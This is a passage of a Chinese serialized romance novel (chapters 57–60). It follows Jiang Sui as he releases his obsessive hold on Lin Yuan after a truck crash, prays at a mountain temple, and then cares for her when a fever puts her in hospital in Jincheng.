上救护车昏睡前的意识还在,江随知道她开走了哪辆车。 看着他笃定的,不知道该说是执着,还是偏执的神色,李想脸色冷下来,手上压着力:“那我要是不让你去呢?” 江随盯着他,蓦地笑了声:“那你就不该救我。” 李想一愣。 终于听不下去的沈确出声:“江随,我们不是你的仇人。” “谁挡着我,”江随没看他,“也不是我的朋友。” 沈确咬了咬牙,没再理他。 “你怎么知道她去了哪里?”站在一边的晏峋知道此刻劝不住他,干脆问。 “她开走的那辆车,自带定位。”江随说。 “我来开车,走吧。”晏峋朝江随说,又朝李想撩了个眼神。 李想会意,没再说什么,松开江随。 与其让他自己去要死要活地折腾,不如先陪着他,看着他。 或许有晏峋这个“过来人”开导一下,江随能想通。即便想不通,有他们盯着,见了林鸢,江随也做不了什么出格的事。 到时再想办法,陪着他们,看能不能商量一个,对两人伤害都最小的办法。 林鸢和江随,就算做不成恋人,也没必要弄成如今的局面。 江随浑身的刺终于垂拢下去,下床,冲他们低声道:“谢了。” 却被完全叫江随无视的陆靖挡住了去路:“我允许你去了吗?” 江随以外的三人一愣。 而江随只看着他,倏地叫他:“陆靖。” “她本来就没什么朋友,她本来就不喜欢适应新环境,你们还要让她走,去那么远的地方。你们怎么可以这样,又凭什么这样?”江随直直盯着他,眼眶红起来,仿佛在看仇人,“是不是你们逼她的?是不是你们表面上答应,不插手我的婚事,其实又……” 陆靖一下子就来了火,蓦地打断他:“江随你他妈醒醒吧!也别把她当成是你自己!” 胸腔深深起伏,盯了眼他纱布缠绕,又沁出殷红的额头,想压住火,又耐不住想骂醒他,“都这时候了你还在自欺欺人?是她自己要离开你,求奶奶帮的忙。是你,是你留不住人!” “她为什么要走?因为她不想和你在一起!”陆靖吼道。 江随咬牙,只觉得头疼得要裂开,却只红着眼,阴冷盯着他:“让开。” 陆靖挡在他面前,冷脸看住他。 片刻,江随突然低嗤了声,平淡地说:“我不做江家人,也可以不做你们陆家的。所以我做什么,是我自己的事,连累不到你们。要去登报和我脱离关系,还是对外宣告不再管我死活,随你们。” 他阴寒的脸,仿佛眼前看的不是亲人,“只是别再挡着我的道。” 陆靖眯了眯眼睛,不可置信地看着他。 “让开!”江随咬牙,用力搡开他。 这次,陆靖没有再拦。 江随直直地病房外走。 李想见沈确也跟了上去,叫住他:“不知道待会儿什么情况,你留下吧。万一今天回不来,他俩公司有事儿你还能看着点儿。” 也怕你这脾气路上又跟那货怼起来。 沈确想了想,点头:“行。” 李想瞄了眼神色难看的陆靖,还是给了点面子:“哥你放心,我看着他,出不了事儿。”说着赶紧跟了出去- 李想说他来开车,江随和晏峋坐去了后排。 出了医院,江随才知道已经天黑。 但是定位显示,林鸢还在北城。 “要先吃点东西吗?”晏峋问他。 “不用,不饿。”江随说。 就着路灯光源瞄了他一眼,晏峋没再说话。 江随却喃喃自语道:“她是不是想通了,不准备走了?所以,才留在北城的。” 李想想说:你他妈就别瞎猜了,她就是留下来办下身份证,压根不是不准备走。 又怕刺激他,咬咬牙忍了。 “我知道,我知道是她替我叫的救护车,叫来的李想,”像是想要寻求认同,江随看向晏峋,“她一定……还是担心我的。对不对?” 晏峋微偏头,淡淡地看了他一眼。 驾驶座的李想自然又听见了,既心疼又无语,头大地瞥了眼后视镜里的江随。 这没砸出好歹,怎么还砸出个恋爱脑来了呢? “阿峋,你说,老天都在帮我,是不是?”江随执着地问他,“老天都要叫我将她追回来,是不是?” 所以她才会,没开走他替她买的那辆车,却开走了这一辆。 晏峋看着他,突然问:“你想好见到她,要说什么了吗?” 江随蓦地一窒,漫天的无力与颓然涌上来。 他该说的,不该说的,都向她说了,可似乎……依旧不能将她留下来。 他其实早已明白,自己做得不对。 可他已经是个执迷不悟的信徒,绝了自己所有退路,他不知道……不知道自己还能怎么办。 “我说不出叫你放手的话。”晏峋看着他,坦然道,” 但你不妨想想,对你来说,什么更重要。” 他明白叫江随放手,他无论如何也不会听。毕竟,他自己都办不到的事,哪里轮得到来强求别人。 可又不希望他偏执地,在错误的路上越踏越远,直到真的无法挽回。 江随微微愣住,像发呆般,茫然地安静下去,又像无意识般点了点头,轻道:“好,我想想。”- “李想,停车,就在这附近了!”约摸四十分钟车程后,一处人不算多的小商业街附近,江随从后座拍了拍他座椅。 自带的定位没有那样精确,江随怕错过。 马路两边划了车位。 “行,我找个车位。”李想说。 “先让我下去,我看见她的车了!”江随看见那辆熟悉的白车,着急地降下车窗玻璃,似乎隐隐还能看见她坐在驾驶座上。 “……”李想无语地抿紧唇,打开门锁,“你别再吓着她!”又叫晏峋,“他衣服呢?叫他穿上,穿个衬衫就……” 江随没太听清,因为在他打开车门,准备下去时,只听见重胎刮擦着路面,极速而来的声音。像催命的符咒。 在他预感般的心脏骤缩下,一辆货车毫无减速地,直直朝林鸢的车而去。 那辆白车,眨眼间被顶上人行道的墙身。 剧烈的碰撞,畸变的车体,仿佛猛然重锤在他脑袋上,让他嗡鸣般失去了听觉。 周遭的尖叫声,撞击声,汽油泄露的汩汩声,火苗窜升的嘶嘶声,仿佛隔在真空里。 江随只觉得自己,毫无预兆地,一把被人从悬崖边狠狠推了下去。 无限的深不见底的坠落,抽干他周遭所有空气,叫他几乎要倒下去。 可身体,却本能地朝那辆车奔去。 货车也在撞击后的下一秒,快速后倒,急转方向,猛踩刹车驶离。 江随扑到车边,死命猛拽车门,一下就看见林鸢趴在方向盘上,毫无动静。 没有任何迟疑与考虑,他曲肘,拼尽全力,狠狠朝车窗砸去。 “你他妈就不能找个东西再来砸吗?!”李想又惊又怒,又担心林鸢真的出事,想跑过去拽他,又折回找破窗的东西。 “不可以。”像是终于找回点意识,江随咬紧牙,眼泪几乎跟着毫无保留的,又一次猛烈撞击一起掉下来,仿佛只是说给自己听,哽哑低声道,“她一个人,会害怕……” “我拿灭火器,”晏峋偏头,快速去车前座拆灭火器,冷静地指挥他,“你去帮他。” 李想咬牙,不再多言,急速朝江随跑去。 又一次撞击,玻璃终于从中心爆开裂痕。江随猛地砸了一拳,开始撕碎裂的车窗玻璃。 这一刻,他才知道他的手颤抖得那样厉害,后知后觉的恐惧,漫天盖地压下来。 林鸢,不要有事。你不能有事。 只要……只要你活着,我怎么都可以。 我放手,我不强求,我什么都答应你。 求你,别有事…… 车门终于打开的那一瞬间,江随却猛然僵住。 他似乎听见,不远处身后有人叫他:“江随。” 他撑住车窗,滞涩而艰难地转过身,隔着一条马路,看见不知道从哪里冒出来,将自己裹得厚实又保暖,正呆呆地看着自己的林鸢。 江随突然虚脱般地,有些站不稳。 又在下一秒,眼泪滚进笑意里。 “麻烦,救他。”江随朝李想道。 他该感谢车里坐着的不是林鸢,可他真的没有力气了。 他下意识地就想朝她去,却在刚踏出半步时,看见林鸢本能地往后一退。 江随猛然僵住。 像违反天性,他极力逼自己顿住脚步,不要再向前。 可也是真的,失去了所有力气,一下往后踉跄,跌坐到地上。 他撑住自己,抬头弯起笑,看着她,无声开口:“阿鸢,去吧。” 去你想去的地方,去找你……想要的自由。 林鸢怔怔地看着他,看着他额头上的伤,看着他手上、身上溅开的血渍,看着他无力垂搭在身侧的,手肘已经变形的胳膊。 看着他对她说:阿鸢,去吧。 她不知道自己是怎样迟钝地转过身,眼泪却猛然落下来。 又不知道为什么,蓦地无声笑起来。咸涩滚进嘴里,林鸢加快脚步,然后开始跑…… 江随想,他能做到的,他不会再强求。 只是……隔着朦胧水汽,看着她呆呆地停顿,又滞顿地转身,最终毫不回头地离开,还是……会觉得难过吧。 仿佛撑着他的最后一口气,就这样散了,意识也陡然模糊起来。 在陷入黑暗前,江随突然想,晏峋问他,他更在意什么。 那他希望,如若祈祷有用,他便做最虔诚的信徒。 他要她活着,要她平安。 其它,别无所求。 第58章 第 58 章 林鸢很少哄他 林鸢没有再回那栋, 她和江随短暂住过的房子里拿任何东西。 她知道那晚江随没有上前,就不会再做任何纠缠。 可她依旧不敢回去。 不是怕再次面对江随,而是怕推开那扇门, 怕面对那些叫她掀开看一眼, 就会被蛛丝般的网细细密密包裹附着, 看不清、也捻不去的过往。 她能感觉到, 之前那段时间, 江随已经近乎执着到, 将她当成是一份支柱。 因为从没得到过全心全意的、不求回报的爱,所以便将她曾经笃志纯粹的喜欢, 当作了浮木, 只想牢牢抓住。 江随的家世,的确是许多人艳羡与无法企及的终点。可一个人既被众星捧月似的长大, 又从没得到过健全健康、与不掺目的的爱, 其实是挺可怕的一件事。 就好像明白自己待的光鲜亮丽的阁楼, 不过是蜃境。 那种害怕随时从高处掉落的不安和恐惧,甚至是他自己都不敢承认不愿面对的。于是他们在长大的过程中, 替自己选择了一副副面具。 有的人用冷漠和尖锐当武器,有的人用高傲和无谓做铠甲。 所以江随,才会在轰然落地般的醒悟时那样痛, 那样不顾一切地, 想抓住点什么。 可这样沉重的感情,她真的负担不起。 她真的无力背负他人的信仰和人生。 而如今, 在他如此坚执, 几乎将她当做了执念的时候,他仍愿意停下,不再向前, 林鸢明白,他是真的愿意不再强求了。 酒店窗边,林鸢望着年前最后一场雪,呆呆地望了许久。 她其实并不想出国,也不爱适应新的环境。她喜欢这里熟悉的语言,相同的肤色。即便他们中的许多人,曾经对她并不友好。 可这里还有她唯一的亲人,不多的朋友。 现在没了非走不可的理由…… 林鸢低头,翻开手机,向郑老师好好道了谢、说了抱歉。又替自己订了一张,几日后去锦城的火车票。 她整个人突然有前所未有的轻松。 可脑子里一旦浮现起那晚的画面,又还是会克制不住地鼻酸。 就像转身时那样,又想哭,又想笑。 她看见他以为那辆车里坐的是自己,毫无迟疑地上前救她。也听见他发现驾驶座上并非是她,请求李想继续救人。 还看见他漂亮的眸子里滚着雾气,苍白的、又溅了血渍的殷红的唇,翘起好看的弧度,向她说:阿鸢,去吧。 她不知道江随同他自己做了怎样的约定,又下了怎样的决心,才愿意在轻而易举就能将她带走的一刻,选择了放手。 可她真的很高兴。 那是一种难言的,酸楚与欣喜绞缠的情绪。 酸楚于她终究是回馈不了,这样炙烫到会灼伤人的爱意,也欣喜于,她曾经喜欢的男孩子,到底是个善良的人 - 江随是在李想的惊呼声里倒下的。 李想刚将驾驶座上的人抱出来,就看见林鸢跑远的身影,和江随直挺挺倒下去的画面。 他不惊讶林鸢在这儿,毕竟他们下午还联系过,他还告诉过她,让她别担心,江随没事,医生说他身体素质好得跟狗一样。 但他震惊的是,刚还和铁人三项似的江随,怎么说倒就倒了呢! “靠!晏峋,快快快那傻逼晕了!” 好在已经灭了火的晏峋,一下将他托住。他觉得其它地方的外伤倒还好,这脑袋还是别再受伤了吧。 林鸢应该不喜欢笨的。 救护车也在晏峋第一时间报警和打120之后,匆匆赶来。 一男一女被抬上救护车。 江随再一次入院,情况就有些不太好,出现了一些轻微脑震荡的症状。 头痛,恶心,干呕,断断续续的昏睡。 好在这次,他大概也怕自己真成了傻子,终于对治疗配合得很。 只是除夕和新年,也在他的昏睡中,平淡又悄无声息地到来又离去。 陆靖没办法久留,已经回了部队,虽然有两个看护,李想还是不放心他,仍和在港城时那样,晚上没事就会去陪陪他。 直到年初二那晚的夜里,他临睡前准备再去上个厕所,开门走到主病房,看见江随腾地一下从病床上坐起来。 李想魂都要被他吓没了,大晚上的,医院,病房,没开灯,简直要素齐全。 “……你他妈。”李想拍着心口,骂都骂不完整。他从小不爱看鬼片是有道理的。 “今天初几?”江随问他。 “初、初二啊。”李想抖着声儿。这也不是月半十五啊。 江随一下掀开被子:“我得去个地方。” 嗓子因为长时间的昏睡,有些沙哑。 “不是,大哥,”李想也不怕了,一把过去摁住他,“你又知道林鸢去哪儿了?” 江随心脏,蓦地被酸涩刺痛包裹,勉强轻笑了下:“我不知道。我只是想麻烦你开车,带我去趟西塔寺。” 李想从前就不爱爬山,他就喜欢静静坐着的活动。 所以此刻,大过年大半夜的,被个半病不病,一条胳膊还挂着固定板,但走得比自己还快还猛的人拉来爬山,就很想骂一骂谁家大爷。 江随有些着急,看了眼时间:“你慢慢来,我先上去。” “……你大爷的。”李想觉得自己被鄙视了,咬牙气喘跟着他,嘴硬道,“就你这随时都能晕倒的破身子,我还是……跟着你吧。” 江随回头看了他一眼,笑了笑:“李想,谢谢。” 李想瞥了他一眼,抿嘴。 一个平时散漫不羁的人突然不反驳你,还特真挚,他就有些吃不消。 快到山顶时,李想闻到空气里一股什么东西燃烧的味道,嗅了嗅鼻子,好笑:“不至于吧,这大晚上香火都这么旺?” 可又不像从前闻到的沉香味儿,像香樟木的味道。 江随心脏猛地一跳,一步几个台阶跨上去。 “……?”李想一下顿住,撑着膝盖歪过脑袋大口喘气,真想问问又怎么了这是?又拽不住已经跑远的江随,只好生无可恋跟上去,跑得比高中一千米都痛苦,咬牙切齿,“你们都是我大爷!” 山顶西塔寺的香炉里,果然燃着火光。 江随眼睛都被映红,一下就急了,他奔过去,伸手就要往香炉里翻。 李想觉得,人的潜力,果然是需要激发的。 他嗓子都干得冒血腥气,还有力气骂人:“江随!你他妈又在犯什么病?!” “小施主,是要找这些吗?” 一声温敦慈厚的问话,终于降住了李想眼中,江随自残似的莫名行为。 江随也一下顿住,在触上那片伤人的滚烫前收回手。 转身,看见熟悉的人手里,丁零当啷的木牌。 李想一下就明白了,然后更无语了起来,压着没喘匀的气问他:“你就……就为了这个?” “你不知道……”江随眼睛被火光映得有些红,声音干涩,低笑了声,向他解释,“这个,很灵验的。” 否则,漫天神佛怎么会听见他的祈求,让林鸢毫发无伤地离开。 “这是他来的第十年了,每年都盯着我不让动,”师父笑说,“我还在想你今年怎么没来,毕竟这个愿望要实现,可是要好多年。” “多谢师父。”江随诚心向他道谢,小心又虔诚地,接过那些成色各异的木牌。 李想简直一头雾水,忍不住一探脑袋,去看祈愿牌上的字。 下一秒,几乎是即刻就明白了。 他莫名也有种卸了一口气的感觉。 瞄了眼江随火光下依旧苍白的脸,突然就说不出什么嘲讽的话来。 看着重新去挂祈愿牌的江随,李想蓦地福至心灵,看着这位慈眉善目,又有些眼熟的僧人:“师父,这会儿还能上香吗?” “能啊。” “那可太好了,麻烦您,我请三炷香。”李想赶紧掏出手机,“现金还是扫码?” “都行。”师父摸出袈裟下的二。维。码,“看你方便。” “……”折返而回的江随一顿。 看着俩人在他面前,赤。裸。裸的交易,眼皮本能一跳。 这位十年前忽悠他买……不是,请祈愿牌的时候,明明一副遗世独立高深莫测,得道扫地僧的出世模样。 在他不仰头不跪拜地站在远处,等待去上香祈愿的少女回来时,这位“高人”主动上前:“小施主,没有什么心愿吗?” 发呆的江随回神,漫不经意一瞥:“有啊。”又散漫低笑,“但我自己能实现。” 师父端详他片刻,也笑了笑:“我还以为港城来的,都会信一些。” 江随一顿,微扬眉。 就那样鬼使神差掏了钱。 只是挂完祈愿牌,盯着那株古槐,又忍不住觉得自己有点儿傻,问他:“这树上的祈愿牌,怎么都不像是年年留下来的样子吧?” “小施主,别人的婚礼都出席了,你还会留着请柬吗?这祈愿牌就像给佛祖的请柬,ta看过了,自然不用再留下了。” “那要是愿望还没实现,祈愿牌就被清理了呢?”他就不信真能所有人都心想事成。 “那就是妄念,不必强求。” 少年突然有些烦躁:“你们清理祈愿牌,有固定的时间吗?” “每年初二的半夜。” ………… 李想终于擎上三支点燃的线香。 袅袅沉香味蔓延。 江随不免有些好奇地看了他一眼。 据他所知,李想没有这方面的信仰。 李想斜眼瞥他,扯了扯一侧唇角,冷呵一声,随即恭恭敬敬站在寺外香炉前,东南西北各鞠一躬,大声恳求:“菩萨保佑,让孟沅在德国多念两年书吧。不是我心坏,不想让她毕业,主要是我这接二连三地被这些傻……傻的人折腾,是真扛不住啊。” 说完,又闭眼,深深朝寺里主佛鞠了一躬,扬声道:“多谢菩萨。” “……”江随不语,眨了下眼- 那天被误伤的,是一位单亲妈妈。 她有工作,但因为有个生病的女儿,下了班,还会去开网约车。 那晚,是她太累太累了,也怕疲劳驾驶会影响别人的安全,就想停在路边,稍稍睡一会儿,没想到,两辆颜色和型号都相同的车,就遇上了这样的横祸。 江随自然承担了她所有的治疗费用,万幸,除了肋骨骨折,没有更严重的问题。至于要向肇事者索取的赔偿,自然也不会放过。 而她女儿急需的手术费,江随也向她表示,希望由他支付。怕这位妈妈有负担,他也向她说明,极乐游戏每年本来就会有慈善捐助。 不管如何,就当是……为林鸢祈福也好。 而肇事者,却是个预料之外,又似乎情理之中的人——那个旗和集贸的孙经理。 江随后来才知道,这人又去找过林鸢,只是林鸢没有告诉他。 有些成年男性似乎就是如此,犯了错,得了惩罚,永远不会在自己身上找问题和原因。仿佛自己所有的失败与坎坷,都是社会的不公和他人的陷害。 他们甚至不敢向真正让他们得到惩罚的人报复,而只敢施暴于更弱者。 于是反倒将林鸢怀恨在心。 只是杀人未遂,法律赐予他的惩罚,希望他到时候也能寻到要报复的目标 。 那位母亲要手术的女儿,也住在这家医院。是个上小学的小姑娘。 听说以后妈妈不用那样辛苦,坚持要来当面向他道谢。 她送了他一只自己叠的千纸鹤,告诉他,一个千纸鹤,就可以许一个心愿。 又说:“谢谢叔叔。”小姑娘因为化疗,有些瘦,本就大的黑眼睛,此刻在脸上更是显眼,她看着眼前好看的男人,笑眯眯诚心道,“你真是个大好人。” 小女孩走后,病房里又只剩了他一人。 江随看着窗外稀薄却明媚的阳光,忽然就有些眼酸。 他不可抑制地想起,曾经也有那么一个女孩子,睁着漆黑明亮的大眼睛,眼巴巴地冲他说:“江随,你可真是个大好人。” 林鸢很少哄他。 他也明白,林鸢不过是随口一说,并不是真认为,他是什么悲天悯人的大好人。 毕竟,她会这么说,只是因为昨晚做数学卷子时不小心睡着,一大早来不及做,急得求他帮忙。 小姑娘平时是很有原则的,就算再难的题,她熬半宿,都要自己弄懂。 可又真的是爱面子,坚决不允许自己被数学老师指去走廊罚站。所以才难得求他一回。 可在那一刻,他莫名的就十分受用。 那次,他第一次忍不住伸手,曲着指骨,在她光洁的额头上弹了下,低嗤道:“就会哄人。” ………… 只是…… 阿鸢,现在的你,还会觉得我是个好人吗。 第59章 第 59 章 她好像……也没有那么恨…… 江随出院后, 彻底搬去了那幢小洋楼,连同他养了许多年的蚂蚁。 先前请的阿姨,仍会每周在固定时间来清洁。只是看见这个家里不再有女主人, 也没有问过他任何。 江随突然觉得有些难过。 其实很多时候, 林鸢和他是一样的。 他们和这个世界, 并没有那么深刻的联系。除开彼此不论, 她还有个血缘关系深厚的母亲, 他还有几个虽然烦他, 却也真心以待的朋友。 除此之外,他们都很少和一个人建立长期的稳定的关系。他们去哪里, 是不是不再回来了, 其实并没有多少人关心。 江随站在客厅落地玻璃窗前,看着他在院子里移栽的那株垂丝海棠, 阳光一如那日铺斜。 今年开的花, 她没有看到。 其实他如今住在这里, 并不觉得好受,这里的每一寸空间, 都像封了窑门的火炉,时时刻刻,用鲜明的回忆炙烤着他的情绪。 就好比他此刻所站的方寸间, 有甜蜜的誓言, 也有难堪的苛求。 他也明白,离别前唯一的那段温馨时光, 不过是水中月影。 可不管是年少时的心动酸涩, 后来的猜疑失望,不管动人还是酸苦,他都依旧想牢牢记住, 不愿意忘记一丝一毫。 其实在林鸢离开后,他仔仔细细地想过,他对林鸢的这份感情,或许并不那么纯粹。 他喜欢她,将她视**人,可同样的,也将她当做朋友,甚至在朝夕相伴间,将她当成了亲人、家人。 所以他才会在她执意要离开时,那样无所适从,那样惊惧惶恐。 他毫无章法地想抓住一切,却不知道感情里最要不得的,就是偏执与强求。 而如今,或许在李想他们,甚至是林鸢看来,他终于学会了放手。 可其实……并不是这样。 因为他始终记得,大四毕业那年,他们一起在电影院看的最后一部电影。 或许是有老林那样好的父亲,小姑娘哭得克制又压抑,出电影院时,却依旧要强装无谓,红着眼睛笑说:“这个牌子的隐形眼镜不太舒服。” 江随有些心疼,有些好笑,却又不知道该如何安慰她。 安慰一个人,也是需要感同身受的,否则,说句“没关系,别这样,有什么大不了的”,也不过就像空洞的敷衍,也会像嘲讽。 他没有体会过那样的亲情,没有资格去安慰她。 而如今,他似乎明白了林鸢心情,也明白了她虽然哭泣,却也真心地在笑。 就如同那句,当初便叫他莫名触动的台词—— 我一直以为爱的反义词是不爱,直到现在我才明白,爱的反义词是遗忘。 我不会忘了你,因为我一直爱着你。[注]- 极乐预计用五年时间筹备,依托于中国古典神话的一款大型游戏,在年底国外特效团队给出了所谓的“优质方案”后,几位项目主创产生了点儿分歧。 有的认为,这样的效果更符合西方审美,有利于打入国际市场。有的认为,国外团队给出的制作费用过高,前期投入太大,对这样一个长制作周期的项目来说,最终能盈利才是首要。 几番争论,江随最终拍板:和国内公司合作。 前期投入并非首要,而是西方文化理解不了中式审美。光拿对方反馈回来的几个分镜特效来说,那样高鼻深目的神兽,仿佛山海经掉进了阿凡达。 本来就坚持江随这个方向的自然高兴,另外的也不再多言。 在绝对控股权面前,所有反对都是对自己薪水的不尊重。 办公室里。 “哥,你不觉得,这家公司今年新作的画风,挺符合你要求的吗?”庞浩然将锦城一家动画公司的资料递过去,又看他神色。 江随扫了眼,在看见铅色动画四个字时,神情微顿。 抬头看了他一眼,笑了笑:“你们之前,不是给‘猛禽’发过原画外包的邮件吗?她不是没回复吗。” 庞浩然一顿,嘿嘿一笑,挠了挠后脑勺。 原来他哥什么都知道啊。 他们为了这个新游戏,项目组先前也在相关平台上筛过许多符合画风的画师。精选的又由人送到了他这里。 他会发现这位“猛禽”太太是林鸢,一是她大学时在极乐待过一段时间,她的画风庞浩然很熟悉。二是,高中时他们玩游戏,林鸢大杀四方,取的名字,就叫猛禽。 庞浩然对她是瑟瑟发抖过的。 可最近这位的署名,又在铅色动画新出的一个二维短篇里出现,庞浩然这才灵机一动。 他当初“知情不报”,江随虽然后来什么都没说,可他依旧有点儿愧疚。 因为如今江随又精锐又憔悴的样子,是他看在眼里。 他如今日子如此顺遂,说到底,大半靠着江随。就算自己接近江随的动机不是那么单纯,可有些事,也的确想出点力。 于是他说:“铅色现在,也挺需要资金的。” 江随抬头看着他,很安静,许久才说:“放着吧,我考虑一下。” 庞浩然看不懂他的意思,点点头:“好,那你……考虑一下。” 又在他走出去时听江随说:“庞浩然,谢了。”- 林鸢发现,感冒发烧和生理期这件事,似乎总会撞到一起。 尤其是在加班一周,熬了几个近乎通宵的大夜之后。 好像生理期前后的免疫力,总要差一些。 “对,杨李公寓1203,”林鸢有气无力地靠在床边,“我一个人在家,要是敲门一分钟没人来开,麻烦你们直接破门。” 她不想明天上社会头条被人惋惜。 挂了电话,林鸢脑子混沌地闭眼等着,许久,没来由地笑了笑。 她此刻真的有点儿相信,当初江随说想去拿退烧药,结果下床摔了一跤爬不起来,可能是真的了。 江随在杨李公寓楼下站了很久。 他很想见她,可也犹豫。 他已经提前联系了铅色动画,对方对他提出的外包项目,极力争取,甚至自降报价。 如果一切顺利,他或许明天就可以突然出现在林鸢面前,让她又一次无可避免地见到他,和他相处。 可如果,又以“工作的名义”接近她,是不是,又和当初注资齐柏一样。 那在她眼里,他是不是就和从前也没什么两样 。 她会厌烦吗?会再一次失望吗?会又想逃离这里平静的生活吗? 江随不想那样。 可一个人的行动能自控,情绪却不可以。 他可以克制自己不去找她,却克制不了分开的日日夜夜,一旦让自己脱离工作,一旦让自己放松分毫,就被无孔不入的思念席卷。 平日里,他叫自己仍住在一楼的客卧里。 每个月,又允许自己去二楼,他待过一夜的房间。 他仍睡着他睡过的那一侧,不越界半步。也告诉自己,就像这样,他可以做到。 可他依旧无数次在深夜里,在医生开的助眠药,仿佛安慰剂般失效的时刻,想给她去个电话,想问问她,现在过得好不好,现在……开心吗? 或者,不拿自己的手机,像从前一样,换个新的号码,假装打错,不开口,不出声,听听她的声音。 她在开心放松时,接起电话的那句“喂,你好”,尾音总带着点儿发梢微蜷似的柔软扬音。 他听得出来。 可他依旧什么都没做。 他想,爱一个人,总不该是肆无忌惮的,总该学会克制。学会……不打扰。 所以他此刻站在这里,安安静静,却又被矛盾和煎熬裹挟,进退不得。 直到夜色被救护车尖锐的鸣笛划破,江随一滞。 他莫名有种道不清的预感- 林鸢终于明白,许多女孩子和前男友分手后,穿着睡衣趿着拖鞋,脸没洗头没梳,下楼扔垃圾看见前男友和他光鲜靓丽的新女友时,是什么心情了。 凌晨四点,她被人从小客厅里抬出来,穿着臃肿搞笑的鸭头珊瑚绒睡衣,头发乱得打结。怕看不清,架了副满是指纹的眼镜。 而眼前的男人,黑衬衣系至喉结,深灰色圆领毛衣纤薄又有质感,一手长的黑色羊绒大衣轻敞,裁剪利落又简约。 就算被夜露裹得黑发微潮,都仿佛只是沾了洗发后清爽的水汽。 即便看上去气色不算好,透着苍白和难掩的憔悴,整个人却依旧仿佛刚从高定秀场下来。 又仿佛多了几分,从前没有的成熟和内敛。 除了光鲜靓丽的,只有江随一个人,哦,还有,他们没做过男女朋友,其它要素齐全。 林鸢忍不住认命地抬手,将自己眼镜和眼睛一起盖住。 太丢人了。 她也不知道自己是什么心情,起初的震惊和怔愣——仿佛让高烧混沌的脑子都有片刻打通般的清醒。到片刻后的迷茫——她是真的烧糊涂了吧,为什么会看见江随。再到此刻的确定—— 因为她听见,江随冷静平和地对别人说:“我是她朋友,有什么我可以做的?” 她也不知道为什么,这样突如其来,毫无预兆的一面,让她莫名有一丝隐隐的,道不明说不清的高兴。 这种高兴,叫她盖住的眼睛有些发酸。 不是因为看见江随,而是因为,她好像……也没有那么恨他了。 第60章 第 60 章 “我只是想来看看你。”…… 救护车上, 医护人员对林鸢进行初步检查,确认只是单纯的高烧,江随稍稍安心下来。 林鸢起初有些尴尬, 后来发现, 江随被挤到了角落里, 她躺着, 只能看见车顶。 朦胧困意袭来, 便干脆叫自己不要去多想, 闭上了眼睛。 直到迷迷糊糊觉得自己被抬下了救护车,顺着平梯推进医院。 凌晨, 灯火通明, 但终究也没白天那么多人。 “送观察室吧,可以躺着输液, ”医护人员说, “陪行的家属去交下费。” 江随谢过, 不放心地看了仍闭着眼睛装睡的林鸢一眼,正要走, 衣角却被她拽了一把。 “等等,”林鸢坚强地摸出兜里的手机,划开, 找到页面, 递给他,“刷我的医保卡, 有钱。” 江随脚步一顿, 足足愣了两秒。 随即,某些压着他的东西,仿佛被人敲了一锤, 扑簌簌落下来一块。 这样真实的林鸢,就像实质的暖融的液体,渗进缝隙间,叫他心脏酸软,又莫名轻松了些。 他无声笑了下,看着伸出手机,又把自己眼睛重新盖住的林鸢,低道:“好,知道了。” 林鸢这场高烧,还是因为劳累引起的,验血结果没有病毒感染,只单用了退烧的药,医生照例关照年轻人也要注意身体,别仗着年轻不当回事。 林鸢乖巧应下。 江随无声坐在床边陪她,空气里有观察室睡熟的轻鼾,也有走廊上来来回回的脚步声。 这样的地方,好像不说话,也不显得多尴尬了。 看着刚挂上的输液瓶,江随问她:“饿吗?要不要吃点东西?” 林鸢一下就收回了刚刚的感觉,回他:“不饿,临睡前吃了的。” 想了想,又干脆说,“你要不要去吃点东西,我这里……应该也没这么快好。” 江随抬眼看了下,又扫了眼她缩在毛绒睡衣里,插着输液针的手背,轻声叮嘱她:“好,那我去买点东西。你要是不舒服,按床头的铃。” 冰凉的液体从渗进手背血管,带着细微的刺痛,林鸢也不知道自己是什么感觉,忽然也不想再说什么反驳的话,“嗯”了声,没再出声。 江随很快就回来了,拎了一包东西。 印着医院字样的白色塑料袋,和他那一身笔挺又贵气的装扮放在一起,竟然有种诡异的和谐。 搁在床侧输液的胳膊被轻轻拿起,手心里搁上一只带着毛绒套子的暖水袋时,林鸢有片刻的怔愣。 其实她很少生病,小时候偶尔发烧,也是老林或郑敏带着她上医院,扎一针屁股针就好。 第一次挂水,还是四五年级的时候,学校里病毒感冒流行,她撑到最后一个赛程,还是中了招。 那天输液,是老林问护士要了个盐水瓶子,灌了热水,裹上她自己毛绒绒的小围巾,垫在了她手心里。 江随做完这事,又问她要不要喝水。 “洗干净了。还用开水烫过了。”他手里拿着新买的保温杯,仿佛在向一个重度洁癖患者解释。 林鸢动了动唇:“还不渴。” 江随一顿,想替她拧开盖子的动作停下,笑了笑:“好,那你渴了再说。” 重新坐好,江随看了眼她乱糟糟的头发,某种掺杂着心疼又好笑的情绪,就这样漫步目的地涌起,他忍不住又向她说:“医生叫你这两天忍一下,先别洗头洗澡,要是觉得不舒服就用热水擦擦。你的头发……我帮你买了盒爽身粉,实在难受,就用一点。” 林鸢无声看着天花板一格格的吊顶,也不知道为什么,原本那些,或许应该叫她感动的事,终究还能让她忍住情绪。 可这样一件,若是在陌生人之间讨论,可以称得上有些尴尬的事,却叫她忽然有些鼻酸。 她知道自己此刻的样子,绝对算不得好看。 可她何尝又不是,在他面前有过许多别扭难堪、黯淡无光的瞬间。 而她又不得不承认,每一次这样的时刻,其实江随,从没想过要嘲讽她,也从没看轻过她。 就算是这样一个小小的事情,他也还是,在想着用合适的方式,叫她能既舒服一些,又体面一些。 林鸢平复了下情绪,偏转过头,忽然问他:“江随,你怎么来了?” 江随猛地一顿。 “你别怕。我只是……”他起先 语气有些着急,而后声音又蓦地有些干涩,滞顿难言道,“只是有些工作上的事,要来锦城处理。” 林鸢平静地看着他,不做声。 许久,沉默的注视下。 “我只是想来看看你。”江随清隽瘦削的脸,平和而认真,低声道,“没有别的目的。”- 锦城的房价不算贵,租房自然也还好。 很早就想个独立空间的林鸢,没有选择和人合租,而是租了这样一间单身公寓。 林鸢输完液出医院,早已天亮。 拍了病例,在手机上请了假,打车,和江随一道回了公寓。 江随路上便详细向她说了,极乐想和铅色合作的事,林鸢听完没说什么。 进了门,林鸢让他把外套挂在玄关处,这边精装的公寓有地暖,和北城的供暖差不多。 看他脱了外套,林鸢终究忍不住说:“瘦了好多。” 简单的四个字,叫撑了一天一夜,却并不觉得多累的男人,在这一刻几乎有些站不稳。 她……是在关心他吧。 他克制不住地这样去想。却也终究觉得,没什么立场问出口。 极力克制着情绪,江随缓声道:“最近有些忙,日夜颠倒的,作息不规律。” 林鸢点点头,没再说什么。 “要再去躺会儿吗?”江随问她,“我来煮些粥。” 